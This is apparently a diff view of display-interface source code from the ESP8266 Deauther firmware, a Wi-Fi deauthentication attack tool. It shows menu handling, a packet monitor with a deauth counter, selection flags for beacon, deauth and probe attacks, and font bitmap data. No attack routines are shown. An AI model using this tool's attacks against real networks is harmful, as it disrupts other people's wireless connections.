mode = DISPLAY_MODE::MENU;
display.setFont(DejaVu_Sans_Mono_12);
display.setTextAlignment(TEXT_ALIGN_LEFT);
break;
}
}
});
a->setOnHolding([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) {
if (currentMenu->list->get(currentMenu->selected).hold) {
currentMenu->list->get(currentMenu->selected).hold();
}
}
}
}, 800);
// === BUTTON B === //
b->setOnClicked([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
switch (mode) {
case DISPLAY_MODE::MENU:
goBack();
break;
case DISPLAY_MODE::PACKETMONITOR:
case DISPLAY_MODE::LOADSCAN:
scan.stop();
mode = DISPLAY_MODE::MENU;
break;
case DISPLAY_MODE::CLOCK:
mode = DISPLAY_MODE::MENU;
display.setFont(DejaVu_Sans_Mono_12);
display.setTextAlignment(TEXT_ALIGN_LEFT);
break;
}
}
});
}
String DisplayUI::getChannel() {
String ch = String(wifi_channel);
if (ch.length() < 2) ch = ' ' + ch;
return ch;
}
void DisplayUI::draw(bool force) {
if (force || ((currentTime - drawTime > drawInterval) && currentMenu)) {
drawTime = currentTime;
updatePrefix();
#ifdef RTC_DS3231
bool h12;
bool PM_time;
clockHour = clock.getHour(h12, PM_time);
clockMinute = clock.getMinute();
clockSecond = clock.getSecond();
#else // ifdef RTC_DS3231
if (currentTime - clockTime >= 1000) {
setTime(clockHour, clockMinute, ++clockSecond);
clockTime += 1000;
}
#endif // ifdef RTC_DS3231
switch (mode) {
case DISPLAY_MODE::BUTTON_TEST:
drawButtonTest();
break;
case DISPLAY_MODE::MENU:
drawMenu();
break;
case DISPLAY_MODE::LOADSCAN:
drawLoadingScan();
break;
case DISPLAY_MODE::PACKETMONITOR:
drawPacketMonitor();
break;
case DISPLAY_MODE::INTRO:
if (!scan.isScanning() && (currentTime - startTime >= screenIntroTime)) {
mode = DISPLAY_MODE::MENU;
}
drawIntro();
break;
case DISPLAY_MODE::CLOCK:
case DISPLAY_MODE::CLOCK_DISPLAY:
drawClock();
break;
case DISPLAY_MODE::RESETTING:
drawResetting();
break;
}
updateSuffix();
}
}
void DisplayUI::drawButtonTest() {
drawString(0, str(D_UP) + b2s(up->read()));
drawString(1, str(D_DOWN) + b2s(down->read()));
drawString(2, str(D_A) + b2s(a->read()));
drawString(3, str(D_B) + b2s(b->read()));
}
void DisplayUI::drawMenu() {
String tmp;
int tmpLen;
int row = (currentMenu->selected / 5) * 5;
// correct selected if it's off
if (currentMenu->selected < 0) currentMenu->selected = 0;
else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1;
// draw menu entries
for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) {
tmp = currentMenu->list->get(i).getStr();
tmpLen = tmp.length();
// horizontal scrolling
if ((currentMenu->selected == i) && (tmpLen >= maxLen)) {
tmp = tmp + tmp;
tmp = tmp.substring(scrollCounter, scrollCounter + maxLen - 1);
if (((scrollCounter > 0) && (scrollTime < currentTime - scrollSpeed)) || ((scrollCounter == 0) && (scrollTime < currentTime - scrollSpeed * 4))) {
scrollTime = currentTime;
scrollCounter++;
}
if (scrollCounter > tmpLen) scrollCounter = 0;
}
tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp;
drawString(0, (i - row) * 12, tmp);
}
}
void DisplayUI::drawLoadingScan() {
String percentage;
if (scan.isScanning()) {
percentage = String(scan.getPercentage()) + '%';
} else {
percentage = str(DSP_SCAN_DONE);
}
drawString(0, leftRight(str(DSP_SCAN_FOR), scan.getMode(), maxLen));
drawString(1, leftRight(str(DSP_APS), String(accesspoints.count()), maxLen));
drawString(2, leftRight(str(DSP_STS), String(stations.count()), maxLen));
drawString(3, leftRight(str(DSP_PKTS), String(scan.getPacketRate()) + str(DSP_S), maxLen));
drawString(4, center(percentage, maxLen));
}
void DisplayUI::drawPacketMonitor() {
double scale = scan.getScaleFactor(sreenHeight - lineHeight - 2);
String headline = leftRight(str(D_CH) + getChannel() + String(' ') + String('[') + String(scan.deauths) + String(']'), String(scan.getPacketRate()) + str(D_PKTS), maxLen);
drawString(0, 0, headline);
if (scan.getMaxPacket() > 0) {
int i = 0;
int x = 0;
int y = 0;
while (i < SCAN_PACKET_LIST_SIZE && x < screenWidth) {
y = (sreenHeight-1) - (scan.getPackets(i) * scale);
i++;
// Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y);
drawLine(x, (sreenHeight-1), x, y);
x++;
// Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y);
drawLine(x, (sreenHeight-1), x, y);
x++;
}
// Serial.println("---------");
}
}
void DisplayUI::drawIntro() {
drawString(0, center(str(D_INTRO_0), maxLen));
drawString(1, center(str(D_INTRO_1), maxLen));
drawString(2, center(str(D_INTRO_2), maxLen));
drawString(3, center(DEAUTHER_VERSION, maxLen));
if (scan.isScanning()) {
if (currentTime - startTime >= screenIntroTime+4500) drawString(4, left(str(D_SCANNING_3), maxLen));
else if (currentTime - startTime >= screenIntroTime+3000) drawString(4, left(str(D_SCANNING_2), maxLen));
else if (currentTime - startTime >= screenIntroTime+1500) drawString(4, left(str(D_SCANNING_1), maxLen));
else if (currentTime - startTime >= screenIntroTime) drawString(4, left(str(D_SCANNING_0), maxLen));
}
}
void DisplayUI::drawClock() {
String clockTime = String(clockHour);
clockTime += ':';
if (clockMinute < 10) clockTime += '0';
clockTime += String(clockMinute);
display.drawString(64, 20, clockTime);
}
void DisplayUI::drawResetting() {
drawString(2, center(str(D_RESETTING), maxLen));
}
void DisplayUI::clearMenu(Menu* menu) {
while (menu->list->size() > 0) {
menu->list->remove(0);
}
}
void DisplayUI::changeMenu(Menu* menu) {
if (menu) {
// only open list menu if it has nodes
if (((menu == &apListMenu) && (accesspoints.count() == 0)) ||
((menu == &stationListMenu) && (stations.count() == 0)) ||
((menu == &nameListMenu) && (names.count() == 0))) {
return;
}
if (currentMenu) clearMenu(currentMenu);
currentMenu = menu;
currentMenu->selected = 0;
buttonTime = currentTime;
if (selectedID < 0) selectedID = 0;
if (currentMenu->parentMenu) {
addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK]
currentMenu->selected = 1;
}
if (currentMenu->build) currentMenu->build();
}
}
void DisplayUI::goBack() {
if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu);
}
void DisplayUI::createMenu(Menu* menu, Menu* parent, std::function<void()>build) {
menu->list = new SimpleList<MenuNode>;
menu->parentMenu = parent;
menu->selected = 0;
menu->build = build;
}
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click,
std::function<void()>hold) {
menu->list->add(MenuNode{ getStr, click, hold });
}
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click) {
addMenuNode(menu, getStr, click, NULL);
}
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next) {
addMenuNode(menu, getStr, [this, next]() {
changeMenu(next);
});
}
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::function<void()>click) {
addMenuNode(menu, [ptr]() {
return str(ptr);
}, click);
}
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) {
addMenuNode(menu, [ptr]() {
return str(ptr);
}, next);
}
void DisplayUI::setTime(int h, int m, int s) {
if (s >= 60) {
s = 0;
m++;
}
if (m >= 60) {
m = 0;
h++;
}
if (h >= 24) {
h = 0;
}
if (s < 0) {
s = 59;
m--;
}
if (m < 0) {
m = 59;
h--;
}
if (h < 0) {
h = 23;
}
clockHour = h;
clockMinute = m;
clockSecond = s;
#ifdef RTC_DS3231
clock.setHour(clockHour);
clock.setMinute(clockMinute);
clock.setSecond(clockSecond);
#endif // ifdef RTC_DS3231
}

View File

@ -1,670 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "language.h"
#include "A_config.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
// ===== adjustable ===== //
#if defined(SSD1306_I2C)
#include <Wire.h>
#include "src/esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h"
#elif defined(SSD1306_SPI)
#include <SPI.h>
#include "src/esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h"
#elif defined(SH1106_I2C)
#include <Wire.h>
#include "src/esp8266-oled-ssd1306-4.1.0/SH1106Wire.h"
#elif defined(SH1106_SPI)
#include <SPI.h>
#include "src/esp8266-oled-ssd1306-4.1.0/SH1106Spi.h"
#endif /* if defined(SSD1306_I2C) */
#ifdef RTC_DS3231
#include "src/DS3231-1.0.3/DS3231.h"
#endif // ifdef RTC_DS3231
#include "src/SimpleButton/SimpleButton.h"
using namespace simplebutton;
extern Names names;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
extern Attack attack;
extern uint32_t currentTime;
extern String leftRight(String a, String b, int len);
extern String center(String a, int len);
extern String left(String a, int len);
extern String right(String a, int len);
extern String leftRight(String a, String b, int len);
extern String replaceUtf8(String str, String r);
const char D_INTRO_0[] PROGMEM = "ESP8266 Deauther";
const char D_INTRO_1[] PROGMEM = "by @Spacehuhn";
const char D_INTRO_2[] PROGMEM = DISPLAY_TEXT;
const char D_RESETTING[] PROGMEM = "Resetting...";
const char D_SCANNING_0[] PROGMEM = "> Scanning";
const char D_SCANNING_1[] PROGMEM = "> Scanning.";
const char D_SCANNING_2[] PROGMEM = "> Scanning..";
const char D_SCANNING_3[] PROGMEM = "> Scanning...";
struct MenuNode {
std::function<String()>getStr; // function used to create the displayed string
std::function<void()> click; // function that is executed when node is clicked
std::function<void()> hold; // function that is executed when node is pressed for > 800ms
};
struct Menu {
SimpleList<MenuNode>* list;
Menu * parentMenu;
uint8_t selected;
std::function<void()> build; // function that is executed when button is clicked
};
enum class DISPLAY_MODE { OFF,
BUTTON_TEST,
MENU,
LOADSCAN,
PACKETMONITOR,
INTRO,
CLOCK,
CLOCK_DISPLAY,
RESETTING };
class DisplayUI {
public:
DISPLAY_MODE mode = DISPLAY_MODE::MENU;
bool highlightLED = false;
Button* up = NULL;
Button* down = NULL;
Button* a = NULL;
Button* b = NULL;
// ===== adjustable ===== //
#if defined(SSD1306_I2C)
SSD1306Wire display = SSD1306Wire(I2C_ADDR, I2C_SDA, I2C_SCL);
#elif defined(SSD1306_SPI)
SSD1306Spi display = SSD1306Spi(SPI_RES, SPI_DC, SPI_CS);
#elif defined(SH1106_I2C)
SH1106Wire display = SH1106Wire(I2C_ADDR, I2C_SDA, I2C_SCL);
#elif defined(SH1106_SPI)
SH1106Spi display = SH1106Spi(SPI_RES, SPI_DC, SPI_CS);
#endif /* if defined(SSD1306_I2C) */
const uint8_t maxLen = 18;
const uint8_t lineHeight = 12;
const uint8_t buttonDelay = 250;
const uint8_t drawInterval = 100; // 100ms = 10 FPS
const uint16_t scrollSpeed = 500; // time interval in ms
const uint16_t screenIntroTime = 2500;
const uint16_t screenWidth = 128;
const uint16_t sreenHeight = 64;
void configInit();
void configOn();
void configOff();
void updatePrefix();
void updateSuffix();
void drawString(int x, int y, String str);
void drawString(int row, String str);
void drawLine(int x1, int y1, int x2, int y2);
// ====================== //
DisplayUI();
~DisplayUI();
void setup();
#ifdef HIGHLIGHT_LED
void setupLED();
#endif // ifdef HIGHLIGHT_LED
void update(bool force = false);
void on();
void off();
private:
int16_t selectedID = 0; // i.e. access point ID to draw the apMenu
uint8_t scrollCounter = 0; // for horizontal scrolling
uint32_t scrollTime = 0; // last time a character was moved
uint32_t drawTime = 0; // last time a frame was drawn
uint32_t startTime = 0; // when the screen was enabled
uint32_t buttonTime = 0; // last time a button was pressed
bool enabled = false; // display enabled
bool tempOff = false;
// selected attack modes
bool beaconSelected = false;
bool deauthSelected = false;
bool probeSelected = false;
// menus
Menu* currentMenu;
Menu mainMenu;
Menu scanMenu;
Menu showMenu;
Menu attackMenu;
Menu clockMenu;
Menu apListMenu;
Menu stationListMenu;
Menu nameListMenu;
Menu ssidListMenu;
Menu apMenu;
Menu stationMenu;
Menu nameMenu;
Menu ssidMenu;
void setupButtons();
String getChannel();
// draw functions
void draw(bool force = false);
void drawButtonTest();
void drawMenu();
void drawLoadingScan();
void drawPacketMonitor();
void drawIntro();
void drawResetting();
void clearMenu(Menu* menu);
// menu functions
void changeMenu(Menu* menu);
void goBack();
void createMenu(Menu* menu, Menu* parent, std::function<void()>build);
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click, std::function<void()>hold);
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click);
void addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next);
void addMenuNode(Menu* menu, const char* ptr, std::function<void()>click);
void addMenuNode(Menu* menu, const char* ptr, Menu* next);
// fake clock
void drawClock();
void setTime(int h, int m, int s);
int clockHour = 6;
int clockMinute = 0;
int clockSecond = 0;
uint32_t clockTime = 0;
#ifdef RTC_DS3231
DS3231 clock;
#endif // ifdef RTC_DS3231
};
// ===== FONT ===== //
// Created by http://oleddisplay.squix.ch/ Consider a donation
// In case of problems make sure that you are using the font file with the correct version!
const uint8_t DejaVu_Sans_Mono_12[] PROGMEM = {
0x07, // Width: 7
0x0F, // Height: 15
0x20, // First Char: 32
0xE0, // Numbers of Chars: 224
// Jump Table:
0xFF, 0xFF, 0x00, 0x07, // 32:65535
0x00, 0x00, 0x08, 0x07, // 33:0
0x00, 0x08, 0x09, 0x07, // 34:8
0x00, 0x11, 0x0D, 0x07, // 35:17
0x00, 0x1E, 0x0C, 0x07, // 36:30
0x00, 0x2A, 0x0E, 0x07, // 37:42
0x00, 0x38, 0x0E, 0x07, // 38:56
0x00, 0x46, 0x07, 0x07, // 39:70
0x00, 0x4D, 0x0C, 0x07, // 40:77
0x00, 0x59, 0x0A, 0x07, // 41:89
0x00, 0x63, 0x0B, 0x07, // 42:99
0x00, 0x6E, 0x0E, 0x07, // 43:110
0x00, 0x7C, 0x08, 0x07, // 44:124
0x00, 0x84, 0x0A, 0x07, // 45:132
0x00, 0x8E, 0x08, 0x07, // 46:142
0x00, 0x96, 0x0D, 0x07, // 47:150
0x00, 0xA3, 0x0E, 0x07, // 48:163
0x00, 0xB1, 0x0C, 0x07, // 49:177
0x00, 0xBD, 0x0E, 0x07, // 50:189
0x00, 0xCB, 0x0E, 0x07, // 51:203
0x00, 0xD9, 0x0E, 0x07, // 52:217
0x00, 0xE7, 0x0E, 0x07, // 53:231
0x00, 0xF5, 0x0E, 0x07, // 54:245
0x01, 0x03, 0x0D, 0x07, // 55:259
0x01, 0x10, 0x0E, 0x07, // 56:272
0x01, 0x1E, 0x0E, 0x07, // 57:286
0x01, 0x2C, 0x08, 0x07, // 58:300
0x01, 0x34, 0x08, 0x07, // 59:308
0x01, 0x3C, 0x0E, 0x07, // 60:316
0x01, 0x4A, 0x0E, 0x07, // 61:330
0x01, 0x58, 0x0E, 0x07, // 62:344
0x01, 0x66, 0x0D, 0x07, // 63:358
0x01, 0x73, 0x0E, 0x07, // 64:371
0x01, 0x81, 0x0E, 0x07, // 65:385
0x01, 0x8F, 0x0E, 0x07, // 66:399
0x01, 0x9D, 0x0E, 0x07, // 67:413
0x01, 0xAB, 0x0E, 0x07, // 68:427
0x01, 0xB9, 0x0E, 0x07, // 69:441
0x01, 0xC7, 0x0D, 0x07, // 70:455
0x01, 0xD4, 0x0E, 0x07, // 71:468
0x01, 0xE2, 0x0E, 0x07, // 72:482
0x01, 0xF0, 0x0C, 0x07, // 73:496
0x01, 0xFC, 0x0C, 0x07, // 74:508
0x02, 0x08, 0x0E, 0x07, // 75:520
0x02, 0x16, 0x0E, 0x07, // 76:534
0x02, 0x24, 0x0E, 0x07, // 77:548
0x02, 0x32, 0x0E, 0x07, // 78:562
0x02, 0x40, 0x0E, 0x07, // 79:576
0x02, 0x4E, 0x0D, 0x07, // 80:590
0x02, 0x5B, 0x0E, 0x07, // 81:603
0x02, 0x69, 0x0E, 0x07, // 82:617
0x02, 0x77, 0x0E, 0x07, // 83:631
0x02, 0x85, 0x0D, 0x07, // 84:645
0x02, 0x92, 0x0E, 0x07, // 85:658
0x02, 0xA0, 0x0D, 0x07, // 86:672
0x02, 0xAD, 0x0E, 0x07, // 87:685
0x02, 0xBB, 0x0E, 0x07, // 88:699
0x02, 0xC9, 0x0D, 0x07, // 89:713
0x02, 0xD6, 0x0E, 0x07, // 90:726
0x02, 0xE4, 0x0A, 0x07, // 91:740
0x02, 0xEE, 0x0E, 0x07, // 92:750
0x02, 0xFC, 0x08, 0x07, // 93:764
0x03, 0x04, 0x0B, 0x07, // 94:772
0x03, 0x0F, 0x0E, 0x07, // 95:783
0x03, 0x1D, 0x09, 0x07, // 96:797
0x03, 0x26, 0x0C, 0x07, // 97:806
0x03, 0x32, 0x0C, 0x07, // 98:818
0x03, 0x3E, 0x0C, 0x07, // 99:830
0x03, 0x4A, 0x0C, 0x07, // 100:842
0x03, 0x56, 0x0C, 0x07, // 101:854
0x03, 0x62, 0x0B, 0x07, // 102:866
0x03, 0x6D, 0x0C, 0x07, // 103:877
0x03, 0x79, 0x0C, 0x07, // 104:889
0x03, 0x85, 0x0C, 0x07, // 105:901
0x03, 0x91, 0x0A, 0x07, // 106:913
0x03, 0x9B, 0x0C, 0x07, // 107:923
0x03, 0xA7, 0x0C, 0x07, // 108:935
0x03, 0xB3, 0x0C, 0x07, // 109:947
0x03, 0xBF, 0x0C, 0x07, // 110:959
0x03, 0xCB, 0x0C, 0x07, // 111:971
0x03, 0xD7, 0x0C, 0x07, // 112:983
0x03, 0xE3, 0x0C, 0x07, // 113:995
0x03, 0xEF, 0x0D, 0x07, // 114:1007
0x03, 0xFC, 0x0C, 0x07, // 115:1020
0x04, 0x08, 0x0C, 0x07, // 116:1032
0x04, 0x14, 0x0C, 0x07, // 117:1044
0x04, 0x20, 0x0B, 0x07, // 118:1056
0x04, 0x2B, 0x0D, 0x07, // 119:1067
0x04, 0x38, 0x0C, 0x07, // 120:1080
0x04, 0x44, 0x0B, 0x07, // 121:1092
0x04, 0x4F, 0x0C, 0x07, // 122:1103
0x04, 0x5B, 0x0C, 0x07, // 123:1115
0x04, 0x67, 0x08, 0x07, // 124:1127
0x04, 0x6F, 0x0B, 0x07, // 125:1135
0x04, 0x7A, 0x0E, 0x07, // 126:1146
0x04, 0x88, 0x0E, 0x07, // 127:1160
0x04, 0x96, 0x0E, 0x07, // 128:1174
0x04, 0xA4, 0x0E, 0x07, // 129:1188
0x04, 0xB2, 0x0E, 0x07, // 130:1202
0x04, 0xC0, 0x0E, 0x07, // 131:1216
0x04, 0xCE, 0x0E, 0x07, // 132:1230
0x04, 0xDC, 0x0E, 0x07, // 133:1244
0x04, 0xEA, 0x0E, 0x07, // 134:1258
0x04, 0xF8, 0x0E, 0x07, // 135:1272
0x05, 0x06, 0x0E, 0x07, // 136:1286
0x05, 0x14, 0x0E, 0x07, // 137:1300
0x05, 0x22, 0x0E, 0x07, // 138:1314
0x05, 0x30, 0x0E, 0x07, // 139:1328
0x05, 0x3E, 0x0E, 0x07, // 140:1342
0x05, 0x4C, 0x0E, 0x07, // 141:1356
0x05, 0x5A, 0x0E, 0x07, // 142:1370
0x05, 0x68, 0x0E, 0x07, // 143:1384
0x05, 0x76, 0x0E, 0x07, // 144:1398
0x05, 0x84, 0x0E, 0x07, // 145:1412
0x05, 0x92, 0x0E, 0x07, // 146:1426
0x05, 0xA0, 0x0E, 0x07, // 147:1440
0x05, 0xAE, 0x0E, 0x07, // 148:1454
0x05, 0xBC, 0x0E, 0x07, // 149:1468
0x05, 0xCA, 0x0E, 0x07, // 150:1482
0x05, 0xD8, 0x0E, 0x07, // 151:1496
0x05, 0xE6, 0x0E, 0x07, // 152:1510
0x05, 0xF4, 0x0E, 0x07, // 153:1524
0x06, 0x02, 0x0E, 0x07, // 154:1538
0x06, 0x10, 0x0E, 0x07, // 155:1552
0x06, 0x1E, 0x0E, 0x07, // 156:1566
0x06, 0x2C, 0x0E, 0x07, // 157:1580
0x06, 0x3A, 0x0E, 0x07, // 158:1594
0x06, 0x48, 0x0E, 0x07, // 159:1608
0xFF, 0xFF, 0x00, 0x07, // 160:65535
0x06, 0x56, 0x08, 0x07, // 161:1622
0x06, 0x5E, 0x0C, 0x07, // 162:1630
0x06, 0x6A, 0x0C, 0x07, // 163:1642
0x06, 0x76, 0x0E, 0x07, // 164:1654
0x06, 0x84, 0x0D, 0x07, // 165:1668
0x06, 0x91, 0x08, 0x07, // 166:1681
0x06, 0x99, 0x0C, 0x07, // 167:1689
0x06, 0xA5, 0x09, 0x07, // 168:1701
0x06, 0xAE, 0x0E, 0x07, // 169:1710
0x06, 0xBC, 0x0A, 0x07, // 170:1724
0x06, 0xC6, 0x0E, 0x07, // 171:1734
0x06, 0xD4, 0x0E, 0x07, // 172:1748
0x06, 0xE2, 0x0A, 0x07, // 173:1762
0x06, 0xEC, 0x0E, 0x07, // 174:1772
0x06, 0xFA, 0x0B, 0x07, // 175:1786
0x07, 0x05, 0x0B, 0x07, // 176:1797
0x07, 0x10, 0x0E, 0x07, // 177:1808
0x07, 0x1E, 0x09, 0x07, // 178:1822
0x07, 0x27, 0x0B, 0x07, // 179:1831
0x07, 0x32, 0x09, 0x07, // 180:1842
0x07, 0x3B, 0x0E, 0x07, // 181:1851
0x07, 0x49, 0x0E, 0x07, // 182:1865
0x07, 0x57, 0x08, 0x07, // 183:1879
0x07, 0x5F, 0x0A, 0x07, // 184:1887
0x07, 0x69, 0x09, 0x07, // 185:1897
0x07, 0x72, 0x0A, 0x07, // 186:1906
0x07, 0x7C, 0x0E, 0x07, // 187:1916
0x07, 0x8A, 0x0E, 0x07, // 188:1930
0x07, 0x98, 0x0C, 0x07, // 189:1944
0x07, 0xA4, 0x0E, 0x07, // 190:1956
0x07, 0xB2, 0x0A, 0x07, // 191:1970
0x07, 0xBC, 0x0E, 0x07, // 192:1980
0x07, 0xCA, 0x0E, 0x07, // 193:1994
0x07, 0xD8, 0x0E, 0x07, // 194:2008
0x07, 0xE6, 0x0E, 0x07, // 195:2022
0x07, 0xF4, 0x0E, 0x07, // 196:2036
0x08, 0x02, 0x0E, 0x07, // 197:2050
0x08, 0x10, 0x0E, 0x07, // 198:2064
0x08, 0x1E, 0x0E, 0x07, // 199:2078
0x08, 0x2C, 0x0E, 0x07, // 200:2092
0x08, 0x3A, 0x0E, 0x07, // 201:2106
0x08, 0x48, 0x0E, 0x07, // 202:2120
0x08, 0x56, 0x0E, 0x07, // 203:2134
0x08, 0x64, 0x0C, 0x07, // 204:2148
0x08, 0x70, 0x0C, 0x07, // 205:2160
0x08, 0x7C, 0x0C, 0x07, // 206:2172
0x08, 0x88, 0x0C, 0x07, // 207:2184
0x08, 0x94, 0x0E, 0x07, // 208:2196
0x08, 0xA2, 0x0E, 0x07, // 209:2210
0x08, 0xB0, 0x0E, 0x07, // 210:2224
0x08, 0xBE, 0x0E, 0x07, // 211:2238
0x08, 0xCC, 0x0E, 0x07, // 212:2252
0x08, 0xDA, 0x0E, 0x07, // 213:2266
0x08, 0xE8, 0x0E, 0x07, // 214:2280
0x08, 0xF6, 0x0C, 0x07, // 215:2294
0x09, 0x02, 0x0E, 0x07, // 216:2306
0x09, 0x10, 0x0E, 0x07, // 217:2320
0x09, 0x1E, 0x0E, 0x07, // 218:2334
0x09, 0x2C, 0x0E, 0x07, // 219:2348
0x09, 0x3A, 0x0E, 0x07, // 220:2362
0x09, 0x48, 0x0D, 0x07, // 221:2376
0x09, 0x55, 0x0D, 0x07, // 222:2389
0x09, 0x62, 0x0C, 0x07, // 223:2402
0x09, 0x6E, 0x0C, 0x07, // 224:2414
0x09, 0x7A, 0x0C, 0x07, // 225:2426
0x09, 0x86, 0x0C, 0x07, // 226:2438
0x09, 0x92, 0x0C, 0x07, // 227:2450
0x09, 0x9E, 0x0C, 0x07, // 228:2462
0x09, 0xAA, 0x0C, 0x07, // 229:2474
0x09, 0xB6, 0x0C, 0x07, // 230:2486
0x09, 0xC2, 0x0C, 0x07, // 231:2498
0x09, 0xCE, 0x0C, 0x07, // 232:2510
0x09, 0xDA, 0x0C, 0x07, // 233:2522
0x09, 0xE6, 0x0C, 0x07, // 234:2534
0x09, 0xF2, 0x0C, 0x07, // 235:2546
0x09, 0xFE, 0x0C, 0x07, // 236:2558
0x0A, 0x0A, 0x0C, 0x07, // 237:2570
0x0A, 0x16, 0x0C, 0x07, // 238:2582
0x0A, 0x22, 0x0C, 0x07, // 239:2594
0x0A, 0x2E, 0x0C, 0x07, // 240:2606
0x0A, 0x3A, 0x0C, 0x07, // 241:2618
0x0A, 0x46, 0x0C, 0x07, // 242:2630
0x0A, 0x52, 0x0C, 0x07, // 243:2642
0x0A, 0x5E, 0x0C, 0x07, // 244:2654
0x0A, 0x6A, 0x0C, 0x07, // 245:2666
0x0A, 0x76, 0x0C, 0x07, // 246:2678
0x0A, 0x82, 0x0C, 0x07, // 247:2690
0x0A, 0x8E, 0x0C, 0x07, // 248:2702
0x0A, 0x9A, 0x0C, 0x07, // 249:2714
0x0A, 0xA6, 0x0C, 0x07, // 250:2726
0x0A, 0xB2, 0x0C, 0x07, // 251:2738
0x0A, 0xBE, 0x0C, 0x07, // 252:2750
0x0A, 0xCA, 0x0B, 0x07, // 253:2762
0x0A, 0xD5, 0x0C, 0x07, // 254:2773
0x0A, 0xE1, 0x0B, 0x07, // 255:2785
// Font Data:
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33
0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34
0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35
0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36
0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37
0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41
0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46
0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49
0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50
0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51
0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52
0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53
0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54
0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55
0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56
0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59
0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60
0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61
0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64
